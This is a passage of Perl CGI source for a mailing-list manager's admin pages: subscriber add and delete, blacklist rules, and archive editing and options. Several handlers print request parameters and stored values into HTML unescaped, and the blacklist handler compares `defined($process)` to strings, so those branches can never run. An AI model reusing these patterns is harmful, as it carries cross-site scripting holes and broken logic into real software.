my $new_email_count=$lh->add_to_email_list(-Email_Ref => $clean_list_ref,
                                      -List      => $list_info{list}
                                     );
print $q -> redirect(-uri=>"$MOJO_URL?flavor=view_list&email_count=$new_email_count"); 


}else{ 


print(admin_html_header(      
      -Title      => "Verify Additions", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login));

print "</form><form action=$MOJO_URL method=post name=email_form method=POST>";
print"<input type=hidden name=process value=\"true\">";
print"<input type=hidden name=flavor value=\"add_email\">";
print p("These addresses have passed verification. Click \"Subscribe Checked Emails\" to add these emails. Uncheck any email address you don't want added.")if(defined(@$unique_ref[0]));

print <<EOF    
  
<table> 
 <tr> 
  <td> 
    <input type="submit" style='$STYLE{green_submit}' value="Subscribe Checked E-mails">
   </td> 
   <td> 
   <input type="button" style='$STYLE{yellow_submit}' value="Re-Enter E-mail List" onclick=javascript:history.back()>
   </td> 
  </tr> 
 </table> 

EOF
; 



foreach(@$clean_list_ref){
print"<input type=\"checkbox\" name=\"address\" value=\"$_\" checked> &nbsp;  $_<br>\n";
}  

print <<EOF    
  
<p><a href=javascript:SetChecked(1)>check all</a> :: <a href=javascript:SetChecked(0)>uncheck all</a></p>
  
<table> 
 <tr> 
  <td> 
    <input type="submit" style='$STYLE{green_submit}' value="Subscribe Checked E-mails">
   </td> 
   <td> 
   <input type="button" style='$STYLE{yellow_submit}' value="Re-Enter E-mail List" onclick=javascript:history.back()>
   </td> 
  </tr> 
 </table> 

EOF
; 


if($list_info{black_list} eq "1"){ 

print p("These addresses are <b>Black Listed</b> and won't be added unless they are checked<br>")if(defined(@$black_listed_ref[0])); 
foreach(@$black_listed_ref){
print "<input type=\"checkbox\" name=\"address\" value=\"$_\"";
print " checked " if ($list_info{allow_admin_to_subscribe_blacklisted} eq "1");
print"> &nbsp;",  $_, "<br></li>\n"; 
}

}


print p("These addresses are already subscribed to $list_info{list_name}, so they won't be added again:<ul>")if(defined(@$not_unique_ref[0])); 
foreach(@$not_unique_ref){   print "<li><P>",$_,"</p></li>\n";   }
print "</ul>" if(defined(@$not_unique_ref[0])); 


print p("These addresses  did not go through validation successfully. Perhaps you typed them incorrectly? To correct, push your <a href=javascript:history.back()>back button</a> and enter again<ul>")if(defined($unique_bad_emails[0]));

foreach(@unique_bad_emails){   print "<li><P>",$_,"</p></li>\n";   }
print "</ul>"if(defined($unique_bad_emails[0])); 

print(admin_html_footer(-List => $list));

}
}else { 


my @address = $q -> param("address"); 
my $new_email_count=$lh->add_to_email_list(-Email_Ref => \@address,
                                      -List      => $list_info{list}
                                     ); 


print $q -> redirect(-uri=>"$MOJO_URL?flavor=view_list&email_count=$new_email_count"); 

}
}



















sub delete_email{ 

my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'delete_email'
);


# view whos on the list, add delete addresses
$list = $admin_list; 
my %list_info =  open_database(-List => $list);
my $lh = MOJO::List->new(-List => $list, -Path => $FILES);
 
#my $any_subscribers = -s "$FILES/$list.list";
# debug
my $any_subscribers = 1;

if($any_subscribers == 0){

print(admin_html_header(      
      -Title      => "Manage Deletions", 
      -List       => $list_info{list},
      -Root_Login => $root_login 
));

print $NO_ONE_SUBSCRIBED;
print(admin_html_footer(-List => $list));


}






unless(defined($process)){ 

print(admin_html_header(      
      -Title      => "Manage Deletions", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login
));



print '<p>To delete an e-mail, enter it into <b>Your Delete List</b>'; 



print 'You can also pick the  e-mail from <b>Your Subscription List</b> (if available).
       Scroll through the e-mail addresses, select it and press 
       <span style = "background-color: #CC9966"> <b>Copy to Delete List&gt;&gt;</b>
       </span>.' if($SHOW_EMAIL_LIST ==1);
 
 
 
 
 
print ' After you are finished, press <span style="background-color: #99CC99">
        <b>Submit E-mail List</b></span></p>';

print <<EOF

 <hr noshade size=1 width=66% align=center color=black>
 
 </form> 
 
 
 <form name=the_form action=$MOJO_URL method=POST>
 
 
 

<table cellpadding=5> 
 <tr> 
  <td valign=top> 
   


 
EOF
; 



if($SHOW_EMAIL_LIST ==1) { 

	print '<p align=center><b>Your Subscription List</b><br>';
	print"<select size=10 name=email_list multiple>";
	print $lh->list_option_form(-List => $list, -In_Order => $LIST_IN_ORDER);
	print"</select></p>\n";
	print "<p align=center><input type='button' style='$STYLE{default_submit}' onClick='moveDeletion(this.form);return false;'  Value='Copy to  Delete List >>'> </p>"; 

}else{ 

print p('&nbsp;'); 

}





print <<EOF


</td>
 <td  valign=top> 
<p align=center><b>Your Delete List</b><br> 

 <textarea rows=9 cols=20 name=delete_list wrap=Off></textarea>
</p> 
</td> 
</tr> 
</table> 



<input type=hidden name=process value="true"> 
<input type=hidden name=flavor value="delete_email">
 




<hr noshade size=1 width=66% align=center color=black>

EOF
;
   
print submit_form(-Reset=>'Re-Enter E-mail List',-Submit=>'Submit E-mail List'); 
   
   
print <<EOF

</center> </form> 

<hr noshade size=1 width=66% align=center color=black>

<form action=$MOJO_URL> 
<p>You can also search for the address yourself, and delete the results of your search</p> 
<input type="hidden" name="flavor" value="search_email"> 
<p><b>Search</b> List For a Particular Address:<br>
<input type="text" name="keyword"><input type=submit style='$STYLE{green_submit}' value="Search Addresses"> 




EOF
;  



print(admin_html_footer(-List => $list));


}else{ 

# this is kinda like "add emails" but in reverse, instead of saying 
# that the email addresses are already in the list, 
# we say "oh, those are the ones you want to delete eh? ok. 


my @bad_emails; 
my @good_emails; 
my %seen=(); 
my $delete_list =   $q   ->    param('delete_list'); 
my @delete_addresses = split(/\s+|,|;|\n+/, $delete_list);




foreach my $check_this_address(@delete_addresses) { 
unless($check_this_address eq ""){
    if ($check_this_address =~ /(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/ ||
    $check_this_address !~ /^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/) {
    push(@bad_emails, $check_this_address);
      }else{ 
   push(@good_emails, $check_this_address);
   }
  }
 }
%seen = (); 
my @unique_good_emails = grep { ! $seen{$_}++} @good_emails; 
%seen = (); 
my @unique_bad_emails = grep { ! $seen{$_}++} @bad_emails; 

@unique_good_emails = sort(@unique_good_emails); 
@unique_bad_emails =sort(@unique_bad_emails);   
  
my ($unique_ref, $not_unique_ref) = $lh->unique_and_duplicate(-New_List  => \@unique_good_emails, 
  														     -List      => $list, 
	    													   );
 




 

print(admin_html_header(      
      -Title      => "Verify Deletions", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login
));




print "</form><form action=$MOJO_URL method=post name=email_form method=POST>";


print"<input type=hidden name=process value=\"delete\">";


print "<input type=hidden name=flavor value=\"checker\">";

if(($list_info{black_list} eq "1")  and ($list_info{add_unsubs_to_black_list} eq "1")){
print hidden('add_to_black_list',1);
}


print p("These addresses have passed verification, click the checkbox next to the address to delete it.:<p>")if(defined($not_unique_ref ->[0])); 
print <<EOF   

<table> 
 <tr> 
  <td> 
  <input type="submit" style='$STYLE{green_submit}' value="Unsubscribe Checked E-mails">
  </td> 
  <td> 
  <input type="button" style='$STYLE{yellow_submit}' value="Re-Enter E-mail List" onclick=javascript:history.back()>
  </td>  
 </tr> 
 </table> 
 
 
EOF
; 


foreach(@$not_unique_ref){ 
print "<input type=\"checkbox\" name=\"address\" value=\"$_\" checked>&nbsp; &nbsp;$_<br>\n" if(defined($not_unique_ref -> [0])); 
}

print "<p><a href=javascript:SetChecked(1)>check all</a> :: <a href=javascript:SetChecked(0)>uncheck all</a></p>";

print <<EOF   

<table> 
 <tr> 
  <td> 
  <input type="submit" style='$STYLE{green_submit}' value="Unsubscribe  Checked E-mails">
  </td> 
  <td> 
  <input type="button" style='$STYLE{yellow_submit}' value="Re-Enter E-mail List" onclick=javascript:history.back()>
  </td>  
 </tr> 
 </table> 
 
 
EOF
; 


#
#
#
print p("These addresses are not part of list at present, they may have already been deleted, or were never in the list.<ul>")if(defined($unique_ref -> [0]));
foreach (@$unique_ref){ 
print "<li><P>",$_,"</p></li>\n";
}  
print "</ul>" if(defined($unique_ref -> [0]));  

#
#
#


print p("These addresses  did not go through validation successfully. Perhaps you typed them incorrectly? To correct, push your <a href=history.back()>back button</a> and enter again<p>")if(defined($unique_bad_emails[0]));
foreach(@unique_bad_emails){ 
    print "<input type=\"checkbox\" name=\"address\" value=\"",$_,"\" >",$_,"<br>\n";
}
print "</p>"if(defined($unique_bad_emails[0])); 
print(admin_html_footer(-List => $list));

}
}





sub black_list  { 


my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'black_list'
);


my $black_list    =   $q   ->    param("black_list"); 



# view whos on the list, add delete addresses
$list = $admin_list; 
my %list_info = open_database(-List => $list);

my $lh = MOJO::List->new(-List => $list, -Path => $FILES); 

if(defined($process) eq "add"){ 
my $black_list_add = $q -> param('black_list_add'); 

$lh->add_to_email_list(-List      => $list, 
                  -Email_Ref => [$black_list_add], 
                  -Type      => "black_list", 
                 ); 
}



if(defined($process) eq "delete"){ 

my $rm_status = $lh->remove_from_list(
				-List        => $list, 
				-Email_List  => \@address,
				-Type        => "black_list",
				); 
				
				
user_error(-List => $list, -Error => 'no_list')   if $rm_status eq 'no list'; 
user_error(-List => $list, -Error => 'too_busy')  if $rm_status eq 'too busy';  

}











if(defined($process) eq "switch"){ 

my %new_info = (
list                      =>   $list_info{list},
black_list                =>   $black_list,
);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
$done = 1; 

$list_info{black_list} = $black_list; 
}




if(defined($process) eq 'options'){ 
my $add_unsubs_to_black_list                  = $q -> param('add_unsubs_to_black_list')             || 0;
my $allow_blacklisted_to_subscribe            = $q -> param('allow_blacklisted_to_subscribe')       || 0;
my $allow_admin_to_subscribe_blacklisted      = $q -> param('allow_admin_to_subscribe_blacklisted') || 0;



my %new_info = (
list                                    =>   $list_info{list},
add_unsubs_to_black_list                =>   $add_unsubs_to_black_list,
allow_blacklisted_to_subscribe          =>   $allow_blacklisted_to_subscribe,
allow_admin_to_subscribe_blacklisted    =>   $allow_admin_to_subscribe_blacklisted,
);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 

print $q -> redirect(-uri=>"$MOJO_URL?flavor=black_list&done=1"); 


exit();

}




 print(admin_html_header(      
      -Title      => "Black List Rules", 
      -List       => $list_info{list},
      -Root_Login => $root_login 
));


print $GOOD_JOB_MESSAGE if(defined($done)); 

print <<EOF

<p>A black list is like a set of rules that say who cannot subscribe to 
your list.  You can disallow a single e-mail address by adding that e-mail 
address (you\@yours.com) to the black list.  </p><p>You can also use the black list
to match a part of an e-mail address, adding '.com' to the black list will disallow 
anyone that has '.com' in their e-mail address.</p> 
EOF
; 



print "<table cellpadding=5><tr><td valign=middle><p>";  


print "<input type=hidden name=flavor value=black_list>";
print" <input type=hidden name=process value=switch>"; 



if($list_info{black_list} eq "1"){ 
  
print "<p>Black List Rules are <b>active</b></p></td><td valign=middle>"; 

print "<input type=hidden name=black_list value=0>"; 
print "<p><input type=submit style='$STYLE{red_submit}' value='turn off black list'>"; 
 
  
}else{ 

print "<p>Black List Rules are <b>inactive</b></p></td><td valign=middle>"; 
print "<input type=hidden name=black_list value=1>"; 
print "<p><input type=submit style='$STYLE{green_submit}' value='turn on black list'>"; 
 
 

} 

print "</p></td></tr></table>\n"; 
print "<hr noshade size=1 width=66% align=center>";
print "</form><form action=$MOJO_URL method=post name=email_form method=POST>";
 


my $black_list_ref = $lh->open_email_list(-List => $list, -Type => "black_list", -As_Ref=>1); 

print "<table cellpadding=5> <tr> <td>\n"; 
print <<EOF 

 <table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000" align=center>
     <tr>
      <td>
              
       <table width="100%" border="0" cellpadding="5" cellspacing="0">
        <tr> 
         <td  bgcolor="#FFFFFF">
         <p><b>Your Black List</b></p> 
         
          <p>

EOF
; 

foreach(@$black_list_ref){ 
print"<input type=\"checkbox\" name=\"address\" value=\"$_\"> &nbsp;  $_<br>\n";
}


print <<EOF
</p> 
<p align=center><a href=javascript:SetChecked(1)>check all</a> :: <a href=javascript:SetChecked(0)>uncheck all</a></p>


     </td>  
    </tr> 
   </table> 
  </td>  
 </tr> 
</table> 

EOF
;



print "</td><td valign=bottom>"; 



print "<p>";
print "<input type=hidden name=flavor value=black_list>";
print "<input type=hidden name=process value=delete>";
print "<input type=submit value=\"Delete Checked\" style='$STYLE{yellow_submit}'>"; 
print <<EOF   
 </form> 
 
<form action=$MOJO_URL method=POST> 
</p><p><input type=text name=black_list_add size=10> 
<input type=hidden name=flavor value=black_list> 
<input type=hidden name=process value=add>
<input type=submit value=Add style='$STYLE{green_submit}'> 
</form>
</p> 

EOF
; 

print "</td></tr></table>\n"; 

print "<hr noshade size=1 width=66% align=center>";
print '<p><b>Black List Options</b></p>';

print "<form action=$MOJO_URL method=POST name=checkbox_form>";



print "<table><tr><td><p>";
print "<input type=checkbox name=add_unsubs_to_black_list value=1 ";  print "checked" if ($list_info{add_unsubs_to_black_list} eq "1"); print ">\n"; 
print "</p></td><td><p>";
print "<a href=javascript:checkotherlink(0) class=black>Move e-mail addresses that have just been unsubscribed to the black list</a>";
print "</p></td></tr>";

print "<tr><td><p>";
print "<input type=checkbox name=allow_blacklisted_to_subscribe value=1 ";  print "checked" if ($list_info{allow_blacklisted_to_subscribe} eq "1"); print ">\n"; 
print "</p></td><td><p>";
print "<a href=javascript:checkotherlink(1) class=black>Allow past subscribers to subscribe again, even though they are black listed</a>";
print "</p></td></tr>";

print "<tr><td><p>";
print "<input type=checkbox name=allow_admin_to_subscribe_blacklisted value=1 ";  print "checked" if ($list_info{allow_admin_to_subscribe_blacklisted} eq "1"); print ">\n"; 
print "</p></td><td><p>";
print "<a href=javascript:checkotherlink(2) class=black>Allow administration to subscribe black listed e-mail addresses</a>";
print "</p></td></tr>";
print '</table>';




print '<input type=hidden name=process value=options>';
print '<input type=hidden name=flavor  value=black_list>';



print submit_form();


print(admin_html_footer(-List => $list));



}











sub view_archive { 
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'view_archive'
);
$list = $admin_list;
my %list_info =  open_database(-List => $list);



# let's get some info on this archive, shall we? 
require MOJO::Archive; 
my $archive = MOJO::Archive -> new(-List => \%list_info); 
my $entries = $archive -> get_archive_entries(); 
#ok, that's cool. 




#if we don't have nothin, print the index, 
unless(defined($id)){ 

	#print header
	print(admin_html_header(      
	      -Title      => "Manage Archives", 
	      -List       => $list_info{list},
	      -Root_Login => $root_login));


	# print the good stuff
	print"</form><form action=$MOJO_URL name=email_form method=GET>";
	print"<input type=hidden name=flavor value=\"delete_archive\">"; 


	print"<p>Here is the list of the archived messages for $list_info{list_name}. To delete an entry, check it and press \"Delete Checked\" </p>";
	print "<ol>\n";    

	                        
	#reverse if need be
	@$entries = reverse(@$entries) if($list_info{sort_archives_in_reverse} eq "1"); 
	                        
	# print those mofo's 
	                        
	my $entry;
	foreach $entry (@$entries){ 
		my ($subject, $message, $format) = $archive -> get_archive_info($entry); 

		my $pretty_subject = pretty($subject);


		 print "<li><p><input type=checkbox name=address value=\"$entry\"><b><a href=$MOJO_URL?flavor=view_archive&id=$entry>$pretty_subject</a></b><br>"; 
		                               my $date = date_this(
		                                -Packed_Date  => $entry,
		                                -Write_Month => $list_info{archive_show_month},
		                                -Write_Day => $list_info{archive_show_day},
		                                -Write_Year => $list_info{archive_show_year},
		                                -Write_H_And_M => $list_info{archive_show_hour_and_minute},
		                                -Write_Second => $list_info{archive_show_second},
		                                );
		                                
		                                print "<i>Sent $date </i>\n"; 
		                                print "</p></li>\n"; 
	}                                
	                                
	                                
	#finish this off
	print "</ol>\n"; 
	print "<p><a href=javascript:SetChecked(1)>check all</a> :: <a href=javascript:SetChecked(0)>uncheck all</a></p>";
	print "<input type=submit style='$STYLE{green_submit}' value=\"Delete Checked\">"; 
    print end_form(); 
    print start_form(-action => $MOJO_URL); 
    print hidden('f', 'edit_archive');
    print hidden('new_archive', 1); 
    print "<input type=submit style='$STYLE{green_submit}' value=\"New Archived Message...\">"; 
	                                
	#done.
	print(admin_html_footer(-List => $list));

	}else{ 


	#check to see if $id is a real id key 
	my $entry_exists = $archive -> check_if_entry_exists($id); 

	user_error(-List => $list, -Error => "no_archive_entry")if($entry_exists <= 0); 
	 

	# if we got something, print that entry. 
	print(admin_html_header(      
	      -Title      => "Manage Archives", 
	      -List       => $list_info{list},
	      -Root_Login => $root_login));



	#get the archive info 

	my ($subject, $message, $format) = $archive -> get_archive_info($id); 

	$message = webify_plain_text($message) if($format !~ /HTML/i);


	my $pretty_subject = pretty($subject);  
	print"<h3>$pretty_subject</h3>";
	print"<p>$message</p>";


my $cal_date = date_this(-Packed_Date => $id, -All => 1); 

print <<EOF 

    <hr noshade size=1 width=66% color=black align=center> 

<p><i>Sent $cal_date</i></p> 

    <input type=hidden name=flavor value=edit_archive> 
	<input type=hidden name=id value=$id> 
	<p align=center><input type=submit value="Edit This Archived Message" style='$STYLE{default_submit}'></p> 
EOF
; 



my $nav_table = $archive -> make_nav_table(-Id => $id, -List => $list_info{list}, -Function => "admin"); 
print "<center>$nav_table</center>";




	print(admin_html_footer(-List => $list));
	}
}


sub delete_archive { 
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'delete_archive'
);
$list = $admin_list;
my @address = $q -> param("address"); 


my %list_info =  open_database(-List => $list);

# let's get some info on this archive, shall we?
require MOJO::Archive; 
my $archive = MOJO::Archive -> new(-List => \%list_info); 
my $entries = $archive -> get_archive_entries(); 
#ok, that's cool. 



my $entry; 



{ 
	local $| = 0;
	foreach $entry(@address){ 
		my $exists = $archive -> check_if_entry_exists($entry); 
		$archive -> delete_archive($entry) if($exists >= 1);  
	}
}



print $q -> redirect(-uri=>"$MOJO_URL?flavor=view_archive"); 

}



sub edit_archive { 

#security checks..
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'edit_archive'
); 

my $archive_subject = $q->param("archive_subject");
my $archive_message = $q->param("archive_message");
my $archive_format  = $q->param("archive_format");
my $new_archive     = $q->param("new_archive"); 

$list = $admin_list;
my %list_info =  open_database(-List => $list);
require MOJO::Archive; 
my $archive = MOJO::Archive->new(-List => \%list_info);  

my $entries = $archive -> get_archive_entries(); 

# what to do?
if($process eq "true"){ 

	# safe some information
	$archive_message =~ s/\r\n/\n/g;
	
	if($new_archive){ 
		$id = sprintf("%02d", $q->param('year'))   . 
		      sprintf("%02d", $q->param('month'))  . 
		      sprintf("%02d", $q->param('day'))    . 
		      sprintf("%02d", $q->param('hour'))   . 
		      sprintf("%02d", $q->param('minute')) . 
		      sprintf("%02d", $q->param('second')); 
		      
	}
	
	{ 
		local $| = 0;
	    $archive->set_archive_info($id, $archive_subject, $archive_message, $archive_format); 
    }
	# and go
     print $q->redirect(-uri=>"$MOJO_URL?flavor=edit_archive&id=$id&done=1"); 

}else{

	print(admin_html_header(      
	      -Title      => "Archived Messages: Edit", 
	      -List       => $list_info{list},
	      -Root_Login => $root_login
	      ));

	print $GOOD_JOB_MESSAGE if(defined($done)); 
    
    

    my $the_archive_subject = "";
    my $the_archive_message = "";
    my $the_archive_format  = 'text/plain';
    
    if(!$new_archive){ 
		($the_archive_subject, $the_archive_message, $the_archive_format) = $archive->get_archive_info($id); 
	}

	print p(b('Date:'), br(),  popup_menu(-name => 'month',  -value => [1..12]),           '/', 
	                           popup_menu(-name => 'day',    '-values' => [1..31]),        '/',
	                           popup_menu(-name => 'year',   '-values' => [1980 .. 2100]), '-',
	                           popup_menu(-name => 'hour',   '-values' => [0..23]),        ':',
	                           popup_menu(-name => 'minute', '-values' => [0..59]),        ':',
	                           popup_menu(-name => 'second', '-values' => [0..59])) if $new_archive; 
	                    
	
	print p('<b>Subject:</b><br>',textfield(-size=>49,-name=>'archive_subject', -value=>$the_archive_subject)),
	      p('<b>Message:</b><br>',textarea(-name=>'archive_message', -value=>$the_archive_message, -rows=>20,-columns=>50)),
	      hidden('flavor','edit_archive'),
	      hidden('process','true'), 
	      table(Tr(td([
	        p('Treat this message as:'),
	        p(popup_menu(-name   =>'archive_format',
	                     -values =>[$the_archive_format, 'HTML', 'Text'])),
	                  ]))); 
	
	print hr();
	
	print hidden('id',$id)         if ! $new_archive;
	print hidden('new_archive', 1) if   $new_archive;
	
	if(! $new_archive){ 
		print submit_form(-Submit => 'Edit Archived Message');
	}else{ 
		print submit_form(-Submit => 'Create New Archived Message');
	}
	print $archive->make_nav_table(-Id => $id, -List => $list_info{list}, -Function => "admin") if ! $new_archive;
	 
          $the_archive_message = webify_plain_text($the_archive_message) if($the_archive_format !~ /HTML/i);
          
	print p('This Message <b><i>currently</i></b>  appears as:'),
	        table({-width=>'100%',-border=>0, -cellpadding=>1, -cellspacing=>0,-bgcolor=>'#000000'},
	             Tr(td(
	               table({-width=>'100%',-border=>0, -cellpadding=>5, -cellspacing=>0,-bgcolor=>'#FFFFFF'},
	                    Tr(td(
	                        h3($the_archive_subject),
	                         p($the_archive_message)
	               )))
	        ))) if !$new_archive;
	              
	print(admin_html_footer(-List => $list));

}
}

sub archive_options { 
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'archive_options'
); 



# a few variables... 



my $show_archives                =   $q   ->    param("show_archives")                || 0;
my $archive_messages             =   $q   ->    param("archive_messages")             || 0; 
my $archive_subscribe_form       =   $q   ->    param("archive_subscribe_form")       || 0; 
my $archive_search_form          =   $q   ->    param("archive_search_form")          || 0; 
my $archive_send_link            =   $q   ->    param("archive_send_link")            || 0; 
 
unless(defined($process)){ 

$list = $admin_list;
my %list_info =  open_database(-List => $list); 


print(admin_html_header(      
      -Title      => "Archives Options", 
      -List       => $list_info{list},
      -Root_Login => $root_login 
));
 
 
 #good job!
print $GOOD_JOB_MESSAGE if(defined($done)); 



print table({-cellpadding=>5}, 
		
		Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'archive_messages', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{archive_messages} ne "0") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=> 0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(0)', -class=>'black'}, 'Archive Your Messages')), br(), 
              'Any messages already archived will still be available to your visitors'))
            ])
           ),
           
          Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'show_archives', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{show_archives} ne "0") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=> 0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(1)', -class=>'black'}, 'Display Your Archives')), br(), 
              'Messages will still be archived unless you choose not to above. Archived messages will still be viewable in your control panel'))
            ])
           ),
		  
		  Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'archive_subscribe_form', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{archive_subscribe_form} ne "0") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=> 0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(2)', -class=>'black'}, 'Add a Subscription Form to the Archive Pages')), br(), 
              'A subscription form will be added with the name of the list and the description of list at the bottom of every archive page.'))
            ])
           ),
           
          Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'archive_search_form', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{archive_search_form} eq "1") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=> 0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(3)', -class=>'black'}, 'Add a Search Form to the Archive Pages')), br(), 
              'Allow your visitors to easily search through your list\'s archives'))
            ])
           ),
		  
		 
         Tr(
      	   td({-valign=>'top'},[ 
           (checkbox(-name => 'archive_send_link', 
           			-value => 1,
           			-label=>'',
           			
           	      (($list_info{archive_send_link} eq "1") ? 
                           
                   (-checked=>'ON') : 
                   (-checked=> 0)),
                  )),
                  
            (p(b(a({-href=>'javascript:checklink(4)', -class=>'black'}, 'Add a &quot;send this archive to a  friend&quot; link')), br(), 
              'Visitors will be able to send archived messages they find interesting to friends'))
            ])
           ),	
           
        );
           
           	 



print p({-align=>'right'},a({-href =>"$MOJO_URL?flavor=adv_archive_options"}, 'Advanced...'));

print "<hr noshade size=1 width=66% align=center>";

print hidden('process', 'true'), 
      hidden('flavor',  'archive_options'); 
print submit_form(-Submit=>'Change Archive Options');
print(admin_html_footer(-List => $list));


}else{ 

$list = $admin_list;
my %list_info =  open_database(-List => $list); 
my %new_info = (
 list                     =>   $list_info{list},
 show_archives            =>   $show_archives,
 archive_messages         =>   $archive_messages,
 archive_subscribe_form   => $archive_subscribe_form,
 archive_search_form      => $archive_search_form,
 archive_send_link        => $archive_send_link);

my $status = setup_list(\%new_info);
user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
print $q -> redirect(-uri=>"$MOJO_URL?flavor=archive_options&done=1"); 

}


}



sub adv_archive_options { 
my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'adv_archive_options'
); 

my $sort_archives_in_reverse     =   $q   ->    param("sort_archives_in_reverse")     || 0;
my $archive_show_year            =   $q   ->    param("archive_show_year")            || 0; 
my $archive_show_month           =   $q   ->    param("archive_show_month")           || 0; 
my $archive_show_day             =   $q   ->    param("archive_show_day")             || 0;  
my $archive_show_hour_and_minute =   $q   ->    param("archive_show_hour_and_minute") || 0;  
my $archive_show_second          =   $q   ->    param("archive_show_second")          || 0; 
my $archive_index_count          =   $q   ->    param("archive_index_count")          || 10;
my $stop_message_at_sig          =   $q   ->    param('stop_message_at_sig')          || 0;
unless(defined($process)){ 

$list = $admin_list;
my %list_info =  open_database(-List => $list); 
print(admin_html_header(-Title      => "Archives Options", 
						-List       => $list_info{list},
						-Root_Login => $root_login));
my @index_this=("$list_info{archive_index_count}",1..10,15,20,25,30,40,50,75,100);

#good job!
print $GOOD_JOB_MESSAGE if(defined($done)); 
print "<table cellpadding=5>";


print "<tr><td valign=top><p>";
print "<input type=checkbox name=stop_message_at_sig value=1 "; print"checked" unless($list_info{stop_message_at_sig} eq "0"); print ">\n"; 
print "</p></td><td>"; 
print "<p><b><a href=javascript:checklink(0) class=black>Show archive messages until the message signature</a></b><br>"; 
print "Archived messages will be displayed until double dashes ('--'),
       are reached in the message. This is a popular convention to clue systems that work with e-mail 
       as to where the message stops and the signature begins.</p>";
print "</td></tr>"; 

print "<tr><td valign=top><p>";
print "&nbsp;"; 
print "</p></td><td>"; 
print "<p><b>Sort Your Archives In:</b><br>";
print "<input type=radio name=sort_archives_in_reverse value=0 "; print"checked" if($list_info{sort_archives_in_reverse} ne "1"); print ">Chronological Order<br> \n";
print "<input type=radio name=sort_archives_in_reverse value=1 "; print"checked" if($list_info{sort_archives_in_reverse} eq "1"); print ">Reverse Chronological Order \n"; 
print "</p></td></tr>";


print "<tr><td valign=top><p>";
print "&nbsp;"; 
print "</p></td><td>";

print "<p><b>Show Archive Dates With The:</b><br>"; 

print "<input type=checkbox name=archive_show_day value=1 ";               print"checked" if($list_info{archive_show_day}               ne "0"); print "><a href=javascript:checklink(3) class=black> Day   (Wednesday)</a><br>\n";
print "<input type=checkbox name=archive_show_month value=1 ";             print"checked" if($list_info{archive_show_month}             ne "0"); print "><a href=javascript:checklink(4) class=black> Month (September)</a><br>\n";
print "<input type=checkbox name=archive_show_year value=1 ";              print"checked" if($list_info{archive_show_year}              ne "0"); print "><a href=javascript:checklink(5) class=black> Year (2000)</a><br>\n";
print "<input type=checkbox name=archive_show_hour_and_minute value=1 ";   print"checked" if($list_info{archive_show_hour_and_minute}   eq "1"); print "><a href=javascript:checklink(6) class=black> Hour and Minute (9:30)</a><br>\n";
print "<input type=checkbox name=archive_show_second value=1 ";            print"checked" if($list_info{archive_show_second}            eq "1"); print "><a href=javascript:checklink(7) class=black> Second (:59)</a><br>\n";

print "</td></tr>"; 


print '<tr><td><p>&nbsp;</p></td><td>'; 

print table({-align=>'center',cellpadding=>1},
       Tr(td([p('Show the archived message <b>index</b> ')])),
       Tr(td([p('with',popup_menu(-name=>'archive_index_count',
                                  -value=>[@index_this],
                                  -style =>'font-family:arial;font-size:11px;'),
                'links at a time')
       ])));

print "</td></tr></table>"; 
print p({-align=>'right'},a({-href =>"$MOJO_URL?flavor=archive_options"}, 'Basic...'));
print "<hr noshade size=1 width=66% align=center>";

print hidden('process', 'true'), 
      hidden('flavor',  'archive_options'); 
print submit_form(-Submit=>'Change Archive Options');
print(admin_html_footer(-List => $list));

}else{ 

$list = $admin_list;
my %list_info =  open_database(-List => $list); 

my %new_info = ( 
 list                               =>   $list_info{list},
 stop_message_at_sig                => $stop_message_at_sig,
 sort_archives_in_reverse           => $sort_archives_in_reverse,
 archive_show_year                  => $archive_show_year,
 archive_show_month                 => $archive_show_month,
 archive_show_day                   => $archive_show_day,
 archive_show_hour_and_minute       => $archive_show_hour_and_minute,
 archive_show_second                => $archive_show_second,
 archive_index_count                => $archive_index_count);
 
 my $status = setup_list(\%new_info);

user_error(-List => $list, -Error =>"no_permissions_to_write") if $status == 0; 

print $q -> redirect(-uri=>"$MOJO_URL?flavor=adv_archive_options&done=1"); 

}

}




sub html_code { 

